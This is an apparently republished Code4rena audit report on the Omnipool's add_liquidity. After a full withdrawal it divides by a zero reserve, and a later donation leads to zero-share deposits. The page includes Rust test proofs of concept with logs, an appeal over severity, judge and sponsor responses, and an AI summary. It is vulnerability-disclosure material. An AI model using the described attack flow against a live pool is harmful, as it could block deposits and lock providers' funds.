complete liquidity removal will result in permanent disable of the liquidity addition and prevent minting shares for the liquidity providers.
Removing all liquidity from an Omnipool asset leaves the pool with zero reserve and zero shares, after which the add_liquidity function divides by the zero reserve and always reverts. This permanently prevents any liquidity provider from adding liquidity or minting shares, and if a small donation is made first, providers receive zero shares and their funds are locked.
This vulnerability will lead to prevent any liquidity provider from adding liquidity and prevent them from minting new shares; so this is considered a huge loss of funds for the users and the protocol.
No New Liquidity - Users can no longer add liquidity to the pool, hindering its growth and potential.
Complete liquidity removal shuts down the pool, preventing any future activity.
Financial losses for the protocol - It loses the benefits of increased liquidity and potential fees from user activity.
Proof of Concept
Adding a new token to the omnipool requires an initial liquidity deposit. This initial deposit mints the first batch of shares. Subsequent liquidity additions mint new shares proportionally to the existing total shares, ensuring a fair distribution based on the pool’s current size.
In the function remove_liquidity it is allowed to remove all amount of liquidity from the pool, which means burning all amount of the shares from the pool, as shown here.
The function calculate_remove_liquidity_state_changes calculates the shares to be burnt and the delta_update function removes them.
If all liquidity shares have been removed from any pool, protocol shares and user shares are removed, making the asset_reserve equal to zero and shares equal to zero, which will prevent any liquidity from been added because the function add_liquidity does not handle the situation where there is no liquidity in the pool. As shown in the add_liquidity function, it calls calculate_add_liquidity_state_changes which calculates the shares to be minted to the LP as shown here.
let delta_shares_hp = shares_hp
.checked_mul(amount_hp)
.and_then(|v| v.checked_div(reserve_hp))?;
The state of the pool after all liquidity have been removed asset_reserve = 0, shares = 0. Since there is no liquidity in the pool so the reserve_hp will be equal to zero, so this part will always return error, so this function will always revert.
Even if any user donates some assets to prevent this function from reverting, the liquidity provider will always receive zero shares, since the delta_shares_hp will always equal to zero, which is considered loss of funds for the user and the protocol.
The bad state that will cause this vulnerability:
Token has been added to the pool but all liquidity has been removed from it.
Coded Poc
Consider adding this test in remove_liquidity.rs test file, and then run it to see the logs:
#[test]
fn full_liquidity_removal_then_add_liquidity() {
ExtBuilder::default()
.with_endowed_accounts(vec![
(Omnipool::protocol_account(), DAI, 1000 * ONE),
(Omnipool::protocol_account(), HDX, NATIVE_AMOUNT),
(LP2, 1_000, 2000 * ONE),
(LP1, 1_000, 5000 * ONE),
])
.with_initial_pool(FixedU128::from_float(0.5), FixedU128::from(1))
.with_token(1_000, FixedU128::from_float(0.65), LP2, 2000 * ONE)
.build()
.execute_with(|| {
// let token_amount = 2000 * ONE;
let liq_added = 400 * ONE;
let lp1_position_id = <NextPositionId<Test>>::get();
assert_ok!(Omnipool::add_liquidity(RuntimeOrigin::signed(LP1), 1_000, liq_added));
let liq_removed = 400 * ONE;
println!(
"asset state before liquidity removal {:?} ",
Omnipool::load_asset_state(1000).unwrap()
);
assert_ok!(Omnipool::remove_liquidity(
RuntimeOrigin::signed(LP1),
lp1_position_id,
liq_removed
));
assert!(
Positions::<Test>::get(lp1_position_id).is_none(),
"Position still found"
);
assert!(
get_mock_minted_position(lp1_position_id).is_none(),
"Position instance was not burned"
);
let pos = Positions::<Test>::get(2);
println!(" the lp2_position before all liquidity removal: {:?}", pos.unwrap());
// lp2 remove his all initial liquidity
assert_ok!(Omnipool::remove_liquidity(RuntimeOrigin::signed(LP2), 2, 2000 * ONE));
let lp2_position = lp1_position_id - 1;
assert!(Positions::<Test>::get(lp2_position).is_none(), "Position still found");
println!(
"the final state after all liquidity has been removed: {:?} ",
Omnipool::load_asset_state(1000).unwrap()
);
let liq_added = 400 * ONE;
assert_noop!(
Omnipool::add_liquidity(RuntimeOrigin::signed(LP1), 1_000, liq_added),
ArithmeticError::Overflow
);
// this makes sure that there is no position created after
assert!(Positions::<Test>::get(lp2_position).is_none(), "Position still found");
println!(
"the new state after liquidity provision reverted: {:?}",
Omnipool::load_asset_state(1000).unwrap()
);
});
}
The logs will be:
running 1 test
asset state before liquidity removal AssetReserveState { reserve: 2400000000000000, hub_reserve: 1560000000000000, shares: 2400000000000000, protocol_shares: 0, cap: 1000000000000000000, tradable: SELL | BUY | ADD_LIQUIDITY | REMOVE_LIQUIDITY }
the lp2_position before all liquidity removal: Position { asset_id: 1000, amount: 2000000000000000, shares: 2000000000000000, price: (650000000000000000, 1000000000000000000) }
the final state after all liquidity has been removed: AssetReserveState { reserve: 0, hub_reserve: 0, shares: 0, protocol_shares: 0, cap: 1000000000000000000, tradable: SELL | BUY | ADD_LIQUIDITY | REMOVE_LIQUIDITY }
the new state after liquidity provision reverted: AssetReserveState { reserve: 0, hub_reserve: 0, shares: 0, protocol_shares: 0, cap: 1000000000000000000, tradable: SELL | BUY | ADD_LIQUIDITY | REMOVE_LIQUIDITY }
This illustrates that the add_liquidity function failed after lp2 and lp1 removed their entire liquidity from the pool.
Tools Used
VS Code
Recommended Mitigation Steps
Add a special behaviour to the function add_liquidity to handle the situation of no initial liquidity. The mitigation can be done by:
When the pool initially has no shares (total shares equal zero), newly added assets from a liquidity provider trigger the minting of shares in an amount equal to the added asset value
The warden identified that the complete removal of liquidity can be problematic, although from a different angle and without mentioning the full impact. Giving partial credit for this.
@Lambda - I am requesting that this issue be considered as a solo medium for the following reasons:
Firstly, this was marked as a duplicate of Issue #86. However, Issue #86 has nothing to do with this finding for these reasons:
Issue #86 refers to an issue in the stableswap pallet, not the omnipool. This finding, on the other hand, refers to an issue in the omnipool pallet.
While removing all liquidity from a pool in the stableswap will always fail according to Issue #86, removing all liquidity from a pool in the omnipool pallet will succeed, but it will cause a permanent DoS (Denial-of-Service) attack on the pool by permanently disabling liquidity addition due to the division by zero which will throw overflow error mentioned in the submitted report and the PoC.
As demonstrated, these are two distinct issues. Issue #86 has an impact of (temporary) locked funds, according to the judge’s comment:
This can lead to (temporary) locked funds in edge cases, so Medium is appropriate here.
In contrast, my report highlights a permanent DoS impact to the function add_liquidity, sell,and buy. So the two findings have two completely different locations, two different impacts, and two different affected functions:
Category | Issue 86 | Issue 75 (current) |
Location (pallet) | stableswap | omnipool |
Impact | temporary DoS | permanent DoS |
Can complete liquidity removal be done ? | no ( this is the problem ) | yes ( this is the cause of the problem ) |
Mitigation | allow multi-asset withdrawal in the staple swap pallet | handle the situation of no liquidity exists in the pool |
The judge mentioned that the report did not mention the full impact. While I described it in the impact section, let me clarify:
The full impact mentioned in the report: permanent disable of liquidity addition == permanent DoS of the function add_liquidity.
Since this is an edge case, which can simply happen, that causes a permanent DoS forever, it does not require an attacker or an attack to be triggered and cause damage to the protocol. However, an attacker could trigger this edge case as the PoC test got performed, you can consider the LP2 as the attacker, who can withdraw all the liquidity that he possessed leaving the pool in DoS state. The DoS can also happen without an attacker, simply by users removing all liquidity from the pool.
I mentioned complete liquidity removal to encompass all scenarios where this issue can cause a DoS and disable liquidity addition and trading. Therefore, I stated:
If all liquidity shares have been removed from any pool.
This includes:
A single malicious user possessing all the liquidity shares of the pool and removing them (attack or normal action), the user LP2 mentioned in the PoC can be the attacker.
All liquidity providers removing their liquidity (normal action).
POC for the attack done by a malicious user
Please consider running my submitted PoC to check that the attack flow got executed successfully, you can also consider LP2 as the position_owner.
The attacker also can be the position_owner which is untrusted entity, or another malicious user, or as normal action done by the liquidity providers; the position_owner, who is the initial liquidity provider, can perform this attack and DoS the entire pool after adding the token by the authority_origin immediately.
The attack flow:
The asset_a got added by calling the add_token function this function mint the shares of the initial liquidity to the position_owner as shown here.
The position_owner removed all his liquidity from the pool and burnt his all shares by calling the function remove_liquidityhere, passing the amount of shares minted to him as the amount to this function and removed all the liquidity from the pool.
After the entire liquidity removal, all liquidity providers will be prevented from adding liquidity to the asset_a pool, due to the fact that the reserve of the asset_a of the pool now is equal to zero as I tested in my coded POC. The function add_liquidity will always revert due to division by zero error, because the division performed, as shown here:
let delta_shares_hp = shares_hp
.checked_mul(amount_hp)
.and_then(|v| v.checked_div(reserve_hp))?;
Lock of funds risk if someone sends some amount of asset to the pool after the entire liquidity has been removed.
As mentioned, there is also another DoS and lock of funds of the liquidity providers, if the entire liquidity removal of asset_a happens and then any user send some amount of asset_a to the pool, this will allow the execution of the function add_liquidity, but it will returns zero amount of shares to the LP, so it will cause lock of funds for the liquidity provider forever.
The impact I mentioned in the report clearly demonstrates the impact on both the protocol and the users. The first two impacts clearly emphasize the DoS that will occur and the third describes the financial losses of the protocol.
Therefore, this finding suffices medium, as per the severity guidelines Med requires “Assets not at direct risk, but the function of the protocol or its availability could be impacted”.
When writing the proof-of-concept which submitted during the audit, I focused on demonstrating how this edge case can occur. This provides the sponsor with a clear explanation of how to mitigate this issue and pinpoint the location of the error. Therefore, the PoC includes an assert_noop statement to ensure that calling the add_liquidity() function after the entire liquidity has been removed from the pool, it will revert with the error ArithmeticError::Overflow, which indicates an error in the function calculate_add_liquidity_state_changes.
Due to this, the function add_liquidity will always revert, meaning the pool will always be empty, so the trading will also got disabled forever, which is considered a DoS attack.
I am providing this additional PoC to prove that sending any non-zero amount of any asset after the entire liquidity removal from the omnipool will cause lock of all funds forever to all liquidity providers.
PoC to test add_liquidity after all the liquidity had been removed and the asset_reserve is not empty
This DoS attack will happen when the entire liquidity got removed from the pool of asset_a, and the*attacker sends minimum non-zero amount of asset_a to the omnipool pallet account.
Consider adding this test in remove_liquidity.rs test file, and then run it to see the logs.
The PoC is commented with all the details of the attack:
LP2 provided 2000 units of asset_a by the function with_token of the test. the pool state and the LP2 position are now:
asset state before liquidity removal AssetReserveState {
reserve: 2000000000000000, hub_reserve: 1300000000000000,
shares: 2000000000000000, protocol_shares: 0
the lp2_position before all liquidity removal:
Position { asset_id: 1000, amount: 2000000000000000,
shares: 2000000000000000
The LP2 removed his entire liquidity from the pool, so the pool state now is:
the final state after all liquidity has been removed:
AssetReserveState { reserve: 0, hub_reserve: 0
, shares: 0, protocol_shares: 0
The attacker LP1 sends one unit of asset_a to the pool, and the LP2 adds liquidity of 400 units of asset_a. This will result in asset state of asset_a in the omnipool to be 400 + 1 = 401, and the shares allocated and minted to LP2 position will be zero.
the lp2_position after adding liquidity of 400 units of asset_a:
Position { asset_id: 1000, amount: 400000000000000
,shares: 0
the new state after liquidity provision had done but NO shares got minted to LP2:
AssetReserveState { reserve: 401000000000000,
hub_reserve: 0, shares: 0, protocol_shares: 0
As shown, the total shares in the pool is equal to zero, and the position shares of the LP2 is equal to zero, which is consider a permanent lock of funds.
PoC
#[test]
fn full_liquidity_removal_then_add_liquidity() {
ExtBuilder::default()
.with_endowed_accounts(vec![
(Omnipool::protocol_account(), DAI, 1000 * ONE),
(Omnipool::protocol_account(), HDX, NATIVE_AMOUNT),
(LP2, 1_000, 2000 * ONE),
(LP1, 1_000, 5000 * ONE),
])
.with_initial_pool(FixedU128::from_float(0.5), FixedU128::from(1))
.with_token(1_000, FixedU128::from_float(0.65), LP2, 2000 * ONE) // this is the first liquidity addition done by the LP2
.build()
.execute_with(|| {
let asset_a = 1_000;
// how to perform this DoS attack.
// lp2 provides 2000 units of asset_a, and remove all of them
// lp1 send some assets to the pool
// this will prevent the function add_liquidity from the revert
// lp2 will add liquidity of 400 units of asset_a and will receive zero shares.
// the lp2 position is the last position which is the (next position id - 1)
let lp2_position_id = <NextPositionId<Test>>::get() - 1;
// get asset_a state.
println!(
"asset state before the entire liquidity removal {:?} ",
Omnipool::load_asset_state(asset_a).unwrap()
);
let pos = Positions::<Test>::get(lp2_position_id);
println!(" the lp2_position before all liquidity removal: {:?}", pos.unwrap());
// lp2 remove his all liquidity from the pool
assert_ok!(Omnipool::remove_liquidity(RuntimeOrigin::signed(LP2), 2, 2000 * ONE));
// this makes sure that all liquidity were removed, and the position get destroyed
assert!(
Positions::<Test>::get(lp2_position_id).is_none(),
"Position still found"
);
// state of asset_a after the entire liquidity removal
println!(
"the final state after all liquidity has been removed: {:?} ",
Omnipool::load_asset_state(asset_a).unwrap()
);
// the attacker LP1 send 1 unit of asset_a to the pool
Tokens::transfer(RuntimeOrigin::signed(LP1), Omnipool::protocol_account(), asset_a, ONE);
let liq_added = 400 * ONE;
// the LP2 added liquidity to the pool
assert_ok!(Omnipool::add_liquidity(RuntimeOrigin::signed(LP2), asset_a, liq_added));
// get the new position of the LP2
let new_lp2_position_id = <NextPositionId<Test>>::get() - 1;
let pos = Positions::<Test>::get(new_lp2_position_id);
println!(
" the lp2_position after adding liquidity of 400 units of asset_a: {:?}",
pos.unwrap()
);
println!(
"the new state after liquidity provision had done but NO shares got minted to LP2: {:?}",
Omnipool::load_asset_state(asset_a).unwrap()
);
});
}
You can run the test and see the Logs that I used to explain the attack flow:
running 1 test
asset state before the entire liquidity removal AssetReserveState { reserve: 2000000000000000, hub_reserve: 1300000000000000, shares: 2000000000000000, protocol_shares: 0, cap: 1000000000000000000, tradable: SELL | BUY | ADD_LIQUIDITY | REMOVE_LIQUIDITY }
the lp2_position before all liquidity removal: Position { asset_id: 1000, amount: 2000000000000000, shares: 2000000000000000, price: (650000000000000000, 1000000000000000000) }
the final state after all liquidity has been removed: AssetReserveState { reserve: 0, hub_reserve: 0, shares: 0, protocol_shares: 0, cap: 1000000000000000000, tradable: SELL | BUY | ADD_LIQUIDITY | REMOVE_LIQUIDITY }
the lp2_position after adding liquidity of 400 units of asset_a: Position { asset_id: 1000, amount: 400000000000000, shares: 0, price: (0, 401000000000000) }
the new state after liquidity provision had done but NO shares got minted to LP2: AssetReserveState { reserve: 401000000000000, hub_reserve: 0, shares: 0, protocol_shares: 0, cap: 1000000000000000000, tradable: SELL | BUY | ADD_LIQUIDITY | REMOVE_LIQUIDITY }
The two issues can be mitigated by the same mitigation steps, as I mentioned in the submitted report.
This was indeed wrongly duplicated. The warden displayed an edge case that impacts the correct functioning of the protocol. Although it is rare and might or might not occur in practice (because the owner of the initial liquidity needs to remove their position), it is possible in the current code base.
This is desired behavior. If all liquidity has been removed from a pool, then there is no spot price, so we cannot allow anyone to add liquidity in that token. We must go through the process of adding the token to Omnipool all over again, as if it was new token entirely.
The original report as published on Code4rena, by castle_chain. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
How it worked
Root cause
Likely the add_liquidity share calculation divides by the pool reserve without handling the case where the reserve and total shares are zero after a full withdrawal.
Impact
Liquidity addition and trading for that asset are permanently disabled, and if a small donation is made first, providers' deposits are locked with zero shares; the sponsor disputes this, calling it desired behaviour.
What the attacker needed
A token already added to the omnipool; all liquidity removed from that pool
The fix
The add_liquidity function should handle a pool with zero total shares by minting shares equal to the added amount, as add_token does.
How it was found
Add a token to the omnipool so initial liquidity mints the first shares to the position owner.
The position owner removes all of their liquidity, burning all shares and leaving reserve and shares at zero.
A liquidity provider then calls add_liquidity, which reverts with an overflow error because of the division by zero.
Optionally, send a minimal amount of the asset to the pool first, then add liquidity; the deposit succeeds but mints zero shares to the provider.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
A liquidity pool is a shared pot of two tokens that people deposit so others can trade against it; depositors get 'shares' representing their portion. Here, if everyone withdraws, the pot's accounting numbers become zero, and the code that calculates new shares divides by that zero, so every later deposit fails. A tiny donation can make the deposit succeed but hand the depositor zero shares, so their money is stuck.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.